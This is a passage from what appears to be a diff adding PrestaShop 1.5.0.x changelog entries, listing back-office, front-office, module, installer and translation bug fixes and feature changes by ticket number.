calls to css and js not used + + [-] BO : #PSCFV-4356 : index.php added when export translations + [-] BO : #PSCFV-4392 : index.php in modules folder and sub folders + [-] BO : added a truncate on a too long string #PSCFV-4009 + [-] BO : attribute values can appear beyond 50 values #PSCFV-2801 #PSCFV-4353 + [-] BO : changed misleading description in the performance tab #PSCFV-4281 + [-] BO : features are not doubled anymore in multishop #PSCFV-4527 + [-] BO : fix #PSCFV-2097 + [-] BO : fix #PSCFV-3600 + [-] BO : fix #PSCFV-3910 + [-] BO : fix #PSCFV-4037 + [-] BO : fix #PSCFV-4045 + [-] BO : fix #PSCFV-4069 + [-] BO : fix #PSCFV-4074 + [-] BO : fix #PSCFV-4081 + [-] BO : fix #PSCFV-4116 + [-] BO : fix #PSCFV-4131 + [-] BO : fix #PSCFV-4167 + [-] BO : fix #PSCFV-4204 + [-] BO : fix #PSCFV-4205 + [-] BO : fix #PSCFV-4216 + [-] BO : fix #PSCFV-4238 and fix #PSCFV-4258 + [-] BO : fix #PSCFV-4249 + [-] BO : fix #PSCFV-4295 + [-] BO : fix #PSCFV-4296 + [-] BO : fix #PSCFV-4309 + [-] BO : fix #PSCFV-4344 + [-] BO : fix #PSCFV-4401 + [-] BO : fix #PSCFV-4424 + [-] BO : fix #PSCFV-4461 + [-] BO : fix #PSCFV-4464 + [-] BO : fix #PSCFV-4469 + [-] BO : fix #PSCFV-4519 + [-] BO : fix #PSCFV-4582 + [-] BO : fix #PSCFV-4596 + [-] BO : fix #PSCFV-4596 : added an option for to force the id during CSV import + [-] BO : fix #PSCFV-4607 + [-] BO : fix #PSCFV-4626 + [-] BO : fix #PSCFV-4631 + [-] BO : fix #PSCFV-4644 + [-] BO : fix #PSCFV-4662 + [-] BO : fix #PSCFV-4664 + [-] BO : fix #PSCFV-4672 + [-] BO : fix #PSCFV-4681 + [-] BO : fix #PSCFV-4718 + [-] BO : fixed bug #PSCFV-3934 + [-] BO : fixed bug #PSCFV-3957 + [-] BO : fixed bug #PSCFV-4021 + [-] BO : fixed bug #PSCFV-4157 + [-] BO : fixed bug #PSCFV-4201 + [-] BO : fixed bug #PSCFV-4213 + [-] BO : fixed bug #PSCFV-4247 + [-] BO : fixed bug #PSCFV-4262 + [-] BO : fixed bug #PSCFV-4288 + [-] BO : fixed bug #PSCFV-4319 + [-] BO : fixed bug #PSCFV-4355 + [-] BO : fixed bug #PSCFV-4373 + [-] BO : fixed bug #PSCFV-4395 + [-] BO : fixed bug #PSCFV-4471 + [-] BO : fixed bug #PSCFV-4472 + [-] BO : fixed bug #PSCFV-4555 + [-] BO : fixed bug #PSCFV-4660 , #PSCFV-4124 + [-] BO : fixed combination of cart rules when saving the rule #PSCFV-4147 + [-] BO : fixed country listing #PSCFV-4438 + [-] BO : fixed ecotax #PSCFV-4443 + [-] BO : fixed size management in objectmodel #PSCFV-4537 + [-] BO : fixed wrong extends in the stats #PSCFV-3852 + [-] BO : strange behaviour with the admin path fixed #PSCFV-4354 + + [-] CORE : fixed bug #PSCFV-4002 - Error in webservices with /api/categories/1 + [-] CORE : fixed bug #PSCFV-4148 #PSCFV-4218 #PSCFV-4217 + [-] CORE : fixed bug #PSCFV-4272 + [-] CORE : fixed bug #PSCFV-4330 + [-] CORE : fixed bug #PSCFV-4366 + [-] CORE : fixed bug #PSCFV-4634 - Object::cleanPosition() is no longer call in controller but in Object::delete(); + + [-] MO : fixed bug #PSCFV-3765 + [-] MO : fixed bug #PSCFV-3769 + [-] MO : fixed bug #PSCFV-4256 + [-] MO : fixed bug #PSCFV-4261 + [-] MO : fixed bug #PSCFV-4456 + [-] MO : fixed bug #PSCFV-4483 + [-] MO : fixed link in referral program #PNM-532 + [-] MO : statsales : fix #PSCFV-4089 + [-] MO : stupid code removed in editorial module template #PNM-467 + + [-] TR : change string "gender" by "titles"... + [-] TR : fix #PSCFV-4202 + [-] TR : fix #PSCFV-4282 : updated of some bad link on mail template + + +#################################### +# v1.5.0.17 - 17369 (2012-09-13) # +#################################### + + Improved/changed features: + + [*] Installer : added timout to sql connection + [*] Installer : socket management for PDO + refactoring + + [*] FO : Optimization - don't redirect and allow WS and other script to work + + [*] BO : #PSCFV-3710 : select a current theme in AdminTranslations + [*] BO : #PSCFV-3831 : check each field which are required in databases + [*] BO : Added Mobile category in AdminModulesController + [*] BO : Changed the default list view for products and categories when multistore is activated + [*] BO : now you could translate a mobile theme + [*] BO : set context shop by default when creating a new catalog price rule #PSCFV-3412 + + [*] TR : #PSCFV-3999 : change string "multishop" by "multistore" in BO + [*] TR : #PSCFV-4000 : change string "validity" by "valid" in BO + [*] TR : add Deutsch translations + [*] TR : add French translations + [*] TR : add Italian translations + [*] TR : add Spanish translations + [*] TR : add setter for the type selected + [*] TR : add spanish object for confirmation order email + [*] TR : update French translations + + Added Features: + + [+] FO : mobile theme re-included in the trunk + + [+] BO : Added Mobile tab image + [+] BO : in order tab you have new information of new customer message + + Fixed bugs: + + [-] INSTALLER : fixed bug #PSCFV-2979 + [-] Installer : #PSCFV-3603 - loop while loading logo + [-] Installer : changed the primary keys of tha language tables of category, product, meta, carrier #PSCFV-3726 + [-] Installer : deprecated tab removed in the 1.4 > 1.5 upgrade #PSCFV-3564 + [-] Installer : fix #PSCFV-4050 + [-] Installer : fixed errors at the installation with insertion of null values in the database #PSCFV-3544 + [-] Installer : fixed warnings #PSCFV-3633 + [-] Installer : fixed wrong return value in upgrade script + [-] Installer : ignore port when creating the sender e-mail address #PSCFV-3756 + [-] Installer : install failed when you had an exotic (i.e. not by default in the installer) default country/language #PSCFV-3891 + [-] Installer : set admin theme to default after an upgrade + + [-] FO : Bug fix on carrier input value (comma) + [-] FO : ObjectModel/Db tried to add entities with a primary key pre-filled #PSCFV-3652 #PSCFV-3651 + [-] FO : disable ajax transition on mobile theme in order to fix javascript issues + [-] FO : fixed #PSCFV-3675 + [-] FO : fixed #PSCFV-3676 + [-] FO : fixed accessories display + [-] FO : fixed bug #PNM-431 + [-] FO : fixed bug #PSCFV-2741 + [-] FO : fixed bug #PSCFV-3758 - now you can display working hour on simplified mode in store locator + [-] FO : fixed bug #PSCFV-3784 - fixed display bug in dateofdelivery and order history + [-] FO : fixed bug #PSCFV-3794 + [-] FO : fixed bug #PSCFV-3811 - Customization field non present while not long description on product page + [-] FO : fixed bug #PSCFV-3818 + [-] FO : fixed bug #PSCFV-3853 + [-] FO : fixed bug #PSCFV-3936 + [-] FO : fixed bug #PSCFV-3964 - #PSCFV-3527 + [-] FO : fixed bugs on customer messages #PSCFV-3733 #PSCFV-3712 + [-] FO : fixed cache management conflict for packed product #PSCFV-3294 + [-] FO : fixed country restrictions for payment modules #PSCFV-2738 + [-] FO : fixed height of homefeatured products (missing height caused problem on floating div position sometimes) #PSCFV-3638 + [-] FO : fixed mixed cache in different shops #PSCFV-3174 + [-] FO : fixed undeletable products in cart (when price < 1¤) #PSCFV-3707 + [-] FO : mobile : fix #PSCFV-3881 + [-] FO : mobile : fix #PSCFV-3904 + [-] FO : mobile theme: fix #PSCFV-3878 : now the cart isn't reload with Jquery Mobile + [-] FO : mobile theme: fix #PSCFV-3913 + [-] FO : pagination form cannot have an css id because it is used more than once #PSCFV-3755 + [-] FO : some categories should not appear in some stores #PSCFV-4020 + + [-] BO : #PSCFV-3670 : add a new format of currency in JS files + [-] BO : #PSCFV-3776 : small fix + [-] BO : #PSCFV-3797 : small fix + [-] BO : #PSCFV-3808 : small fix + [-] BO : #PSCFV-3834 : Check if file upload exist when use the contact form + [-] BO : #PSCFV-3848 : Add reference order instead of id order for follow an order + [-] BO : Attribute deletion fixed #PSCFV-3616 + [-] BO : BugFix : #PSCFV-3554 : Class Category, Method calcLevelDepth: throw Exception + [-] BO : children categories were not really deleted #PSCFV-4028 + [-] BO : deactivated tab does are not displayed anymore #PSCFV-3740 + [-] BO : filename should be allowed to be empty #PSCFV-3592 + [-] BO : fix #PSCFV-3855 + [-] BO : fix #PSCFV-3874 + [-] BO : fix #PSCFV-3893 + [-] BO : fix #PSCFV-3908 + [-] BO : fix #PSCFV-3926 + [-] BO : fix #PSCFV-3928 + [-] BO : fix #PSCFV-3945 + [-] BO : fix #PSCFV-3979 + [-] BO : fix #PSCFV-4025 + [-] BO : fixed #PSCFV-3627 + [-] BO : fixed #PSCFV-4034 + [-] BO : fixed bug #PSCFV-2958 + [-] BO : fixed bug #PSCFV-3226 + [-] BO : fixed bug #PSCFV-3541 + [-] BO : fixed bug #PSCFV-3724 - fixed bug with "Save and Stay" on product page with DisplayAdminProductsExtra + [-] BO : fixed bug #PSCFV-3738 - addCSS() and addJS() methods not working in backOfficeHeader hook + [-] BO : fixed bug #PSCFV-3787 - Front displaying blank features + [-] BO : fixed bug #PSCFV-3806 - fixed bug when unchecked all shop asso you can't access to item any more. + [-] BO : fixed bug #PSCFV-3886 + [-] BO : fixed bug #PSCFV-3922 + [-] BO : fixed incorrect substr in customer service #PSCFV-3621 + [-] BO : fixed issue with dot and comma in import for floating numbers #PSCFV-3609 + [-] BO : fixed right permissions for new tabs #PSCFV-3640 + [-] BO : fixed wrong link on AdminHome #PSCFV-3614 + [-] BO : function str2url fixed #PSCFV-4017 + [-] BO : images extension weren't checked appropriately #PSCFV-3584 + [-] BO : null values ignored in objectmodel::update #PSCFV-3591 + [-] BO : original product price was saved without decimals #PSCFV-3968 + [-] BO : restricted some unauthorized accesses #PSCFV-3611 + [-] BO : set addresses to deleted when customer set to deleted #PSCFV-3975 + [-] BO : status image was not saved #PSCFV-3654 + [-] BO : super admins are now added to all shops #PSCFV-3561 + [-] BO : theme mobile : #PSCFV-3880 : Now you have 4 options for enable the theme mobile + [-] BO : theme mobile : #PSCFV-3910 + [-] BO : theme mobile : #PSCFV-3937 + [-] BO : you can now delete multiple order statuses at one #PSCFV-3585 + + [-] CLASSES : Report Contry::getCountries() changes from 1.4 to 1.5 + [-] Classes : Autoload, bug fix + + [-] CORE : fixed bug #PSCFV-3406 + [-] CORE : fixed bug #PSCFV-3889 + [-] CORE : fixed bug #PSCFV-3916 + [-] CORE : fixed bug #PSCFV-3982 + + [-] MO : #PSCFV-3550 - Module Check : Display warning only if the module is active + [-] MO : blocktopmenu : #PSCFV-3762 : Add link for CMS categories + [-] MO : fixed #PSCFV-3940 + [-] MO : fixed #PSCFV-3944 + [-] MO : fixed bug #PSCFV-3148 - now referalprogram use module controller + [-] MO : fixed bug #PSCFV-3751 - Links Block Formatting //need to re-install the module + [-] MO : fixed bug #PSCFV-3768 + [-] MO : fixed bug #PSCFV-3770 - Uncheck "Display the Footer's informations" in CMS Block cause CMS links to hide too. + [-] MO : fixed bug #PSCFV-3791- customer privacy module error bug + [-] MO : fixed bug #PSCFV-3871 + [-] MO : fixed bug #PSCFV-3871 - part 2 + [-] MO : fixed context issues in loyalty #PNM-332 + [-] MO : fixed deprecated link in statdata #PNM-315 + [-] MO : fixed image upload in homeslider #PSCFV-3730 + [-] MO : followup : #PSCFV-3946 + [-] MO : loyalty : #PSCFV-3760 : fix warning && update number of loyalties by product && normalize + [-] MO : loyalty : #PSCFV-3764 : display points of default attribute + [-] MO : mailalert : #PSCFV-3763 : Fix error when i delete an mail alert + [-] MO : mailalert : Fix duplicate result + [-] MO : product_comment : fix #PSCFV-3983 + + [-] WS : Fix 1.5 compatibility + [-] WS : Fix id_shop behavior when use WS or script + [-] WS : Multiple fix on Web Services + + [-] TR : #PSCFV-3849 : fix bug in TranslateCore class + [-] TR : #PSCFV-3972 : change "%7Bshop_url%7D" by "{shop_url}" in Deutsch emails + [-] TR : #PSCFV-3977 : fix bug when upgrade of 1.4.x to 1.5.x + [-] TR : #PSCFV-4027 : change string "tabs" by "Menus"... + [-] TR : #PSCFV-4032 : fix encoding of tabs.php file for all languages + [-] TR : Mail : #PSCFV-3987 : add stripslashes for email object + [-] TR : fix #PSCFV-3932 + [-] TR : fix bug when not have a mobile folder in a theme folder + [-] TR : update French translations strings + [-] TR : update French translations strings (fo) + [-] TR : update translations strings + + +#################################### +# v1.5.0.15 - 16730 (2012-08-06) # +#################################### + + Improved/changed features: + + [*] FO : better management in the priority between the cart rules #PSCFV-2804 + + [*] BO : #PSCFV-2671 : Added a new currency format for Switzerland + [*] BO : #PSCFV-3007 : Now you can create a voucher when you create a partial refund on the BO + [*] BO : Added translation for the template which are overridden on the BO + [*] BO : Added an override capability for the admin templates + [*] BO : Update Deutsch translations + [*] BO : Update Italian translations + [*] BO : Update Spanish translations (#PSCFV-3024) + [*] BO : added a new Validate method "isPercentage" + [*] BO : export name tabs by ISO code : check name of tab + [*] BO : export name tabs by ISO code when export translations + [*] BO : from 300 to 40 queries in Modules tab, does not really speed up the page, but eases my mind + [*] BO : sending a mail is a little less strict with wrong parameters - it tries to send the e-mail, not to die! + [*] BO : updated the "risk" class to the new 1.5 system (+several improvments) + [*] BO : you can now disable automatic indexation of the products #PSCFV-3258 + + [*] MO : missing logo added #PSCFV-3010 + + [*] TR : Update English translation : step 1 + [*] TR : update Deutsch translations + [*] TR : update English translations key for Back Office + [*] TR : update English translations key for Errors + [*] TR : update English translations key for Front Office + [*] TR : update English translations key for Modules + [*] TR : update Italian translations + [*] TR : update Spanish translations + [*] TR : update french translations + + Added Features: + + [+] BO : added new cool feature + + [+] CORE : Add version_compare tools to align version sent with alignVersionNumber method. + + Fixed bugs: + + [-] PROJECT : Fix on PS module compliancy check - #PSCFV-2783 + [-] Project : #PSCFV-2790 - Fix bug with stock synchronization + + [-] INSTALLER : Add hook alias - #PSCFV-2742 + [-] INSTALLER : Fix demo product installed (Search class) - #PSCFV-2880 + [-] INSTALLER : fixed bug #PSCFV-2751 - Prestashop 1.5 needs more than 32MB for PHP memory_limit but it is not tested at setup + [-] Installer : #PSCFV-3042 - Fix bug with installer and hook_module position + [-] Installer : The boolean for the cart rule activation wasn't assigned correctly when updating from 1.4 to 1.5 #PSCFV-2847 + [-] Installer : changed Guam zone #PSCFV-3134 + [-] Installer : crash with mysql strict mode fixed (datetime has a range of 1000-9999) + [-] Installer : fixed Norway zone + [-] Installer : theme name deprecated #PSCFV-2937 + [-] installer : missing italian translations #PSCFV-3289 + + [-] FO : #PSCFI-5795 : fixed a bug where the opc freeze when an Order is to 0 + [-] FO : #PSCFV-2623 - Fix address redirection + [-] FO : #PSCFV-2746 - Improve product return errors + [-] FO : #PSCFV-2840 - Fix bug with typewatch on the opc (qty change) and multishipping + [-] FO : #PSCFV-2920 - Hidding order number, use order reference instead + [-] FO : #PSCFV-2951 - Fix bug with dispatcher and route rule with multilanguage + [-] FO : #PSCFV-2981 - Fix bug with url rewrite and subdomain "www" + [-] FO : #PSCFV-2993 #PSCFV-2811 - Default carriers and carrier sorting where ignored + [-] FO : #PSCFV-3014 - On account creation, address delivery of all cart products must be set with the user address + [-] FO : #PSCFV-3016 - Fix bug on removing quantity of a product with a customisation + [-] FO : #PSCFV-3034 - Add return quantity to order detail + [-] FO : #PSCFV-3055 - Part 2 : Hidding shipping price if a cart rule make shipping free + [-] FO : #PSCFV-3079 - Change scene image size + [-] FO : #PSCFV-3083 - Fix bug on up/down quantity on the cart + [-] FO : #PSCFV-3083 - Fix bug with quantity update on cart + [-] FO : #PSCFV-3099 - Fix bug with multishipping on changing billing address + [-] FO : #PSCFV-3100 - With OPC shpping cost are not refreshed correctly + [-] FO : #PSCFV-3121 - New JS vars baseUri. This vars must be used instead of baseDir for ajax queries. + [-] FO : #PSCFV-3242 - Add PS version in cookie hach name + [-] FO : #PSCFV-3267 - Summary ajax return do not contain the correct price without discount + [-] FO : #PSCFV-3268 - Fix bug with cache and cart rule discount calculation + [-] FO : #PSCFV-3268 - Fix bug with cache cartrule badly fill + [-] FO : #PSCFV-3318 - Guest Tracking must use order reference and not order id + [-] FO : #PSCFV-3318 - Guest Tracking retrocompatibility with old theme + [-] FO : #PSCFV-3356 - Update delivery price on selecting a free shipping option + [-] FO : #PSCFV-3362 - Order detail ajax call must use SSL + [-] FO : #PSCFV-3365 - Add missing vars assigned to the tpl on refreshing carrier durring account creation on the OPC + [-] FO : #PSCFV-3388 - Fix bug with js product combination id + [-] FO : #PSCFV-3392 - Bad CSS syntax + [-] FO : #PSCFV-PSCFV-2598 - Fix bug with features not ordering by position + [-] FO : Added a simple space in order to be more readable + [-] FO : Bug Fixed #PSCFV-3407 - Only index page allows an empty url_rewrite + [-] FO : Bug Fixed #PSCFV-3417 - Wrong total order price calculation with tax disabled + [-] FO : BugFix : #PSCFV-2837 : City not displaying in address selection of checkout process + [-] FO : BugFix : #PSCFV-2896 : Every contacts from contact page are displayed, without shop restriction + [-] FO : BugFix : #PSCFV-2970 : Order history displays an error + [-] FO : BugFix : #PSCFV-3182 : In 5 steps order process, when login, the 5 steps are displaying but they should not. + [-] FO : BugFix : #PSCFV-3283 : Customer group deleted when updating personnal informations + [-] FO : BugFix : #PSCFV-3332 : Error for multiple store products + [-] FO : double escape removed #PSCFV-3530 (already done in the controller) + [-] FO : fix PSCFV-2948 display of specific prices on the product for combinations + [-] FO : fix bug #PSCFV-2901 - Minor authentication.css validate issue + [-] FO : fix bug #PSCFV-2902 - Minor category.css validation issue + [-] FO : fixed bug #PSCFV-2760 - live edit close confirm + [-] FO : fixed bug #PSCFV-3189 + [-] FO : fixed price display precision in the product sheet template #PSCFI-6111 + [-] FO : fixed warning when a discount wasn't associated to any reduction type (shipping, currency, percentage) + [-] FO : potential divide by zero removed #PSCFV-2787 + + [-] BO : #/PSCFV-3246 - Change french translation + [-] BO : #PSCFV-2596 - Hide custom features values from customization detail list + [-] BO : #PSCFV-2638 - Fix bug combination mess up in product/quantities + [-] BO : #PSCFV-2736 : import product : fix bug when the image isn't uploaded + [-] BO : #PSCFV-2739 - Hide button merchandise return if disable + [-] BO : #PSCFV-2758 : fix error when use Tools::displayErrors() + [-] BO : #PSCFV-2790 - Fix bug with Stock Advanced + [-] BO : #PSCFV-2835 : fix bugs in webservices translations + [-] BO : #PSCFV-2851 : fix bug when export a theme + [-] BO : #PSCFV-2925 - CMS tab, display notice "Array to string conversion" with php 5.4 + [-] BO : #PSCFV-2947 - isArrowKey doesn't always return a valaue + [-] BO : #PSCFV-2956 - Fix bug on creating carriers + [-] BO : #PSCFV-2964 : Display error when PDF translation doesn't exist + [-] BO : #PSCFV-2972 : fix unnecessary message + [-] BO : #PSCFV-3000 - Send an email on changing an order from the BO + [-] BO : #PSCFV-3006 - Change presentation of group selects + [-] BO : #PSCFV-3011 - Add details of refund and returned products on the BO order page. + [-] BO : #PSCFV-3036 : fix bug and fix notice and fix deprecated function + [-] BO : #PSCFV-3039 : Add customer thread when i have a order message + [-] BO : #PSCFV-3055 - Part 1 : If there is a rules with free shipping, shipping prices are not displayed + [-] BO : #PSCFV-3055 - Part 1 : Improving displaying of resume cart (payment step) + [-] BO : #PSCFV-3064 - Fix bug on creating order using a cart + [-] BO : #PSCFV-3066 - Fix bug on selecting delivery option + [-] BO : #PSCFV-3086 - Improve visibility of some elements on return details + [-] BO : #PSCFV-3111 - Avoid double click on saving button + [-] BO : #PSCFV-3112 - Fix bug with payment by cheque and multishipping + [-] BO : #PSCFV-3126 - Change mail object. Mail object must be unique for a specific template + [-] BO : #PSCFV-3146 - Customer Thread, fix encoding chars bugs + [-] BO : #PSCFV-3175 : fix price excluded when import product width specific price + [-] BO : #PSCFV-3192 - Product::getAttributeGroups return duplicated attributes + [-] BO : #PSCFV-3206 - Add description for the field "Shop name" on the shop configuration. + [-] BO : #PSCFV-3213 - Fix bug with FO product url on the BO + [-] BO : #PSCFV-3222 - Fix array unique strange working + [-] BO : #PSCFV-3234 - Change error message + [-] BO : #PSCFV-3247 - Fix link to edit customer profile + [-] BO : #PSCFV-3366 - Not possible to create customizable fields on multishop context + [-] BO : #PSCFV-3474 - Force ajax request to be synchron + [-] BO : #PSTP-73 : fix bug translations in AdminStatsTabController + [-] BO : AdminProductController::updateTags has no return value + [-] BO : Bug Fixed ##PSCFV-3128 - part 2 + [-] BO : Bug Fixed #PSCFI-5506 - Incorrect product price in BO + [-] BO : Bug Fixed #PSCFV-2116 - Import combinations images + [-] BO : Bug Fixed #PSCFV-3090 - Outstanding exception in the outstanding tab + [-] BO : Bug Fixed #PSCFV-3093 - typo in JS + [-] BO : Bug Fixed #PSCFV-3122 - Cart rules applied 2 times on shipping fees if the order is splitted + [-] BO : Bug Fixed #PSCFV-3125 - Fields already filled when creating a new supplier + [-] BO : Bug Fixed #PSCFV-3128 - Incorrect voucher value via product return + [-] BO : Bug Fixed #PSCFV-3270 - CSV Import addresses + multishop + [-] BO : Bug fixed related to #PSCFV-2954 - order slip do not include VAT on carriers + [-] BO : BugFix : #PSCFV-2205 : Combination attributes are displayed as many time as they are associated to a shop. + [-] BO : BugFix : #PSCFV-2761 : Change a default language by shop is not possible + [-] BO : BugFix : #PSCFV-2798 : Multistore : BUG on the "modify products page" with another shop device + [-] BO : BugFix : #PSCFV-2823 : Product::priceCalculation() returns null specific_price after two calls + [-] BO : BugFix : #PSCFV-2844 : Problem in image associated to shop (AdminImportController) + [-] BO : BugFix : #PSCFV-2958 : Tags do not work after import + [-] BO : BugFix : #PSCFV-2960 : Exception thrown when updating customer email + [-] BO : BugFix : #PSCFV-2965 : Localization : updating default currency does not change currency on BO + [-] BO : BugFix : #PSCFV-2973 : Product Return : unable to create a product return + [-] BO : BugFix : #PSCFV-3031 : Unable to edit categories from the list + [-] BO : BugFix : #PSCFV-3033 : attributes and values in multishop + [-] BO : BugFix : #PSCFV-3033 : features in multishop + [-] BO : BugFix : #PSCFV-3069 : OrderDetail->purchase_supplier_price is not saved in DB + [-] BO : BugFix : #PSCFV-3120 : Multishop : employees without shop + [-] BO : BugFix : #PSCFV-3142 : Admin Tracking displaying categories from other shops + [-] BO : BugFix : #PSCFV-3178 : Attributes are duplicated in the attribute value creation form dropdown list + [-] BO : BugFix : #PSCFV-3235 : Multistore : unable to duplicate a product + [-] BO : BugFix : #PSCFV-3334 : Price Rules : Catalog Price Rules - In condition group when you want to make a condition with categories, in the list appears every categories from every stores + [-] BO : BugFix : #PSCFV-3537 : Product Indexing lost when editing a product + [-] BO : FIx issue failling the multilang field length validation on products + [-] BO : Fix W3C errors + [-] BO : Fix the graph engine path + [-] BO : Fixed #PSCFV-2759 + [-] BO : Fixed SQL crash with an empty shop list #PSCFV-2946 + [-] BO : Fixing modules permissions system + [-] BO : Product : add missing properties + [-] BO : Undefined tax calculator + [-] BO : advanced stock management should not appear when the advanced stock management is deactivated #PSCFV-3141 + [-] BO : cart rules are now cleaned when a component of a product rule (like a product, a category, a supplier...) is deleted + [-] BO : fix #PSCFV-2883 + [-] BO : fix #PSCFV-2889 + [-] BO : fix #PSCFV-2941 + [-] BO : fix #PSCFV-2953 + [-] BO : fix #PSCFV-2955 + [-] BO : fix #PSCFV-2961 + [-] BO : fix #PSCFV-2962 + [-] BO : fix #PSCFV-2983 : add iso_code in URI's for robots.txt + [-] BO : fix #PSCFV-3022 + [-] BO : fix #PSCFV-3027 + [-] BO : fix #PSCFV-3032 + [-] BO : fix #PSCFV-3041 + [-] BO : fix #PSCFV-3046 + [-] BO : fix #PSCFV-3070 + [-] BO : fix #PSCFV-3076 + [-] BO : fix #PSCFV-3087 + [-] BO : fix #PSCFV-3101 + [-] BO : fix #PSCFV-3102 + [-] BO : fix #PSCFV-3106 : Patchouli mistake + [-] BO : fix #PSCFV-3116 + [-] BO : fix #PSCFV-3117 + [-] BO : fix #PSCFV-3127 + [-] BO : fix #PSCFV-3131 + [-] BO : fix #PSCFV-3143 + [-] BO : fix #PSCFV-3145 + [-] BO : fix #PSCFV-3190 + [-] BO : fix #PSCFV-3194 + [-] BO : fix #PSCFV-3198 + [-] BO : fix #PSCFV-3200 + [-] BO : fix #PSCFV-3207 && normalize + [-] BO : fix #PSCFV-3243 + [-] BO : fix #PSCFV-3244 + [-] BO : fix #PSCFV-3276 + [-] BO : fix #PSCFV-3277 + [-] BO : fix #PSCFV-3278 : add a parameter id_shop in a method Mail::send() && normalize + [-] BO : fix #PSCFV-3280 + [-] BO : fix #PSCFV-3284 + [-] BO : fix bug #PSCFV-2897 - JS error on combination page + [-] BO : fix strict standard #PSCFV-3173 + [-] BO : fix translation #PSCFV-2998 + [-] BO : fixed #PSCFV-3005 - problems to create a shop for contact with multishop + [-] BO : fixed #PSCFV-3043 - can't active language in BO + [-] BO : fixed #PSCFV-3058 SAV multi fix + [-] BO : fixed #PSCFV-3058 SAV multi fix part 2 + [-] BO : fixed access rights in employee permissions #PSCFV-3157 + [-] BO : fixed alt text for duplication #PSCFV-3180 + [-] BO : fixed bug #PSCFV-2604 + [-] BO : fixed bug #PSCFV-2731 + [-] BO : fixed bug #PSCFV-2756 - error in installation 1.5 RC Warning on copy() + [-] BO : fixed bug #PSCFV-2779 - live edit not working + friendly URL + [-] BO : fixed bug #PSCFV-2826 + [-] BO : fixed bug #PSCFV-2827 - AdminProducts : Customer autocomplete on specific price not available + [-] BO : fixed bug #PSCFV-2828 - Changing the default attribute : no refresh + [-] BO : fixed bug #PSCFV-2843 - Can't create first level admin tab + [-] BO : fixed bug #PSCFV-2859 - In my preferences, user can change his her profile + [-] BO : fixed bug #PSCFV-2859 - part 2 + [-] BO : fixed bug #PSCFV-2878 - Displaying wrong link in the SEO tab of a product using multistore + [-] BO : fixed bug #PSCFV-3088 - customer import with multistore + [-] BO : fixed bug #PSCFV-3142 + [-] BO : fixed bug #PSCFV-3202 + [-] BO : fixed bug #PSCFV-3261 + [-] BO : fixed bug #PSCFV-3336 + [-] BO : fixed bug #PSCFV-3338 + [-] BO : fixed bug #PSCFV-3342 + [-] BO : fixed bug #PSCFV-3352 + [-] BO : fixed bug #PSCFV-3376 - BO - Dashboard - Information message wich is sending to a forbidden access page + [-] BO : fixed bug #PSCFV-3383 + [-] BO : fixed bug #PSCFV-3437 + [-] BO : fixed bug #PSCFV-3439 + [-] BO : fixed bug #PSCFV-3439 part2 + [-] BO : fixed bug #PSCFV-3457 + [-] BO : fixed bug #PSCFV-3457 - part2 + [-] BO : fixed bug #PSCFV-3466 + [-] BO : fixed bug on customer edit when context is in "all shop" or "group shop" + [-] BO : fixed problem with case sensitive path #PSCFV-3179 + [-] BO : inappropriate condition fixed for module access #PSCFV-3312 + [-] BO : moved some code from AdminModulesController to AdminController because is is used on AdminHomeController + [-] BO : original product price was not set in the order detail table #PSCFV-3159 + [-] BO : patch to grid engines fixed #PSCFV-3153 + [-] BO : product state did not show in the back office search #PSCFV-3150 + [-] BO : you could not remove a gift once it had been set #PSCFV-3420 + [-] BO : you do not need to add the admin controller in the core, the override directory is enough + [-] Bo : #PSCFV-2680 : fix bug + [-] Bo : replace constant _PS_THEME_DIR_ by _PS_MAIL_DIR_ when send a email + + [-] CLASSES : fixed bug #PSCFV-2769 - Accolade missing in AdminTab.php + [-] CLASSES : fixed bug #PSCFV-2786 - Error in getOrderInvoice function + [-] CLASSES : fixed bug #PSCFV-2836 - Warning on Category::recurseLiteCategTree() + [-] Classes : fixed bug #PSCFV-3260 - Bug when add product to existing order + + [-] CORE : Fixed bug #PSCFV-2862. onclick evet properly calle. + [-] Core : Delete stock_available for combinations in the import + [-] Core : Fix PSCFV-2898 delete stock_available after combination deletion + [-] Core : Swift exception(s) handled #PSCFI-6121 + + [-] MO : #PNM-286 : Block top menu bug fix (Shop ID) + [-] MO : #PNM-293 : Block CMS bug fix (contact url) + [-] MO : #PSCFI-5815 - Fix bug on chrome with Chrome + [-] MO : #PSCFI-5957 - Blocklayered - Fix bug with price ordering + [-] MO : #PSCFV-2858 - Fix bugs with non latin chars. Htmlentities was not usefull + [-] MO : #PSCFV-2868 - Fix addslashes + [-] MO : #PSCFV-2922 - Blocklayered, make sure url ordering parameters is each time the same + [-] MO : #PSCFV-2924 - Cannot comment a product if there already comments validated + [-] MO : #PSCFV-3049 - Fix Bug with module block search + [-] MO : #PSCFV-3057 - Block cart: If no products, block cart is never displayed + [-] MO : #PSCFV-3059 - Block menu top invert add/remove item + [-] MO : #PSCFV-3193 Blocktopmenu - Fix css bug + [-] MO : #PSCFV-3223 - Fix bug with blocktags module + [-] MO : #PSCFV-3274 - Blockcart, fix bug with gift products + [-] MO : #PSCFV-3274 - No links to remove discounts without code in module blockcart + [-] MO : Blockspecials - Bug Fixed #PSCFV-3360 - Price displayed even in catalog mode + [-] MO : BugFix : #PSCFV-2821 : ProductComment module does not save grade with only one criterion + [-] MO : BugFix : #PSCFV-2822 : ProductComment module : submitNewMessage url problem + [-] MO : BugFix : #PSCFV-2830 : Product Comments module does not publish guest comment, returns exception. + [-] MO : BugFix : #PSCFV-2831 : ProductComments module : css override #fancybox-wrap and #fancybox-content + [-] MO : Fix hook name on differents modules - #PSCFV-2784 + [-] MO : Fix on BlocTopMenu hook name - #PSCFV-2784 + [-] MO : Fixed bug #PNM-284. Use correctly the new controller for the validation process + [-] MO : Fixed #PSCFV-2864 column name statssearch.id_group_shop is now id_shop_group, thanks to Fabien :) + [-] MO : Watermark - Bug Fixed #PSCFV-2770 - Watermark is not working + [-] MO : blockadvertising update did not update the image extension #PSCFV-3355 + [-] MO : blockcart retrocompatibility + [-] MO : blocklayered : #PSCFV-2796 : add charset UTF-8 in SQL tables + [-] MO : cashondelivery - translations files are now into translations dir + [-] MO : fixed #PSCFV-2978 - Block reinsurance shows incorrect when its text is changed to work with other language than English + [-] MO : fixed bug #PSCFV-2853 - bug in the blocklink : you can not update the title block or edit links. + [-] MO : fixed bug #PSCFV-2874 - blocklink_shop.id_shop is varchar, It must be integer. + [-] MO : fixed bug #PSCFV-3010 + [-] MO : fixed deprecated link in blocktopmenu (search form) + [-] MO : multishop update for sekeywords #PSCFV-3271 + [-] MO : productcomments : fix #PSCFV-2890 + + [-] WS : #PSCFV-2888 : Fix 